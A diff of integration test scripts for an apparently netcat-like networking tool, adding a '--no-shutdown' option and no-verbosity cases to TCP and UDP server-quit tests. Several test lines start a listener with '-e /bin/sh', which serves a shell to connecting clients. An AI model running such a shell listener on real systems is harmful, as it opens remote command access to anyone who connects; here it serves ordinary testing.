b/tests/integration/02-behaviour-quit--server/002---tcp---server_quits---when_client_is_killed---server_default---after_server_sent_data.sh @@ -145,24 +145,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/02-behaviour-quit--server/003---tcp---server_quits---when_client_is_killed---server_command---before_send.sh b/tests/integration/02-behaviour-quit--server/003---tcp---server_quits---when_client_is_killed---server_command---before_send.sh index 7eeccc5e..75ead98c 100755 --- a/tests/integration/02-behaviour-quit--server/003---tcp---server_quits---when_client_is_killed---server_command---before_send.sh +++ b/tests/integration/02-behaviour-quit--server/003---tcp---server_quits---when_client_is_killed---server_command---before_send.sh @@ -136,24 +136,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -e /bin/sh " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/02-behaviour-quit--server/004---tcp---server_quits---when_client_is_killed---server_command---after_client_sent_command.sh b/tests/integration/02-behaviour-quit--server/004---tcp---server_quits---when_client_is_killed---server_command---after_client_sent_command.sh index eb050b42..16178603 100755 --- a/tests/integration/02-behaviour-quit--server/004---tcp---server_quits---when_client_is_killed---server_command---after_client_sent_command.sh +++ b/tests/integration/02-behaviour-quit--server/004---tcp---server_quits---when_client_is_killed---server_command---after_client_sent_command.sh @@ -145,24 +145,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -e /bin/sh " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/02-behaviour-quit--server/100---udp---server_stays---when_client_is_killed---server_default---before_send.sh b/tests/integration/02-behaviour-quit--server/100---udp---server_stays---when_client_is_killed---server_default---before_send.sh index 110b9ef7..f5081449 100755 --- a/tests/integration/02-behaviour-quit--server/100---udp---server_stays---when_client_is_killed---server_default---before_send.sh +++ b/tests/integration/02-behaviour-quit--server/100---udp---server_stays---when_client_is_killed---server_default---before_send.sh @@ -149,24 +149,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/02-behaviour-quit--server/101---udp---server_stays---when_client_is_killed---server_default---after_client_sent_data.sh b/tests/integration/02-behaviour-quit--server/101---udp---server_stays---when_client_is_killed---server_default---after_client_sent_data.sh index f903eb9e..883d14fc 100755 --- a/tests/integration/02-behaviour-quit--server/101---udp---server_stays---when_client_is_killed---server_default---after_client_sent_data.sh +++ b/tests/integration/02-behaviour-quit--server/101---udp---server_stays---when_client_is_killed---server_default---after_client_sent_data.sh @@ -158,24 +158,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/02-behaviour-quit--server/103---udp---server_stays---when_client_is_killed---server_command---before_send.sh b/tests/integration/02-behaviour-quit--server/103---udp---server_stays---when_client_is_killed---server_command---before_send.sh index 586c4416..f61e01b6 100755 --- a/tests/integration/02-behaviour-quit--server/103---udp---server_stays---when_client_is_killed---server_command---before_send.sh +++ b/tests/integration/02-behaviour-quit--server/103---udp---server_stays---when_client_is_killed---server_command---before_send.sh @@ -149,24 +149,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" 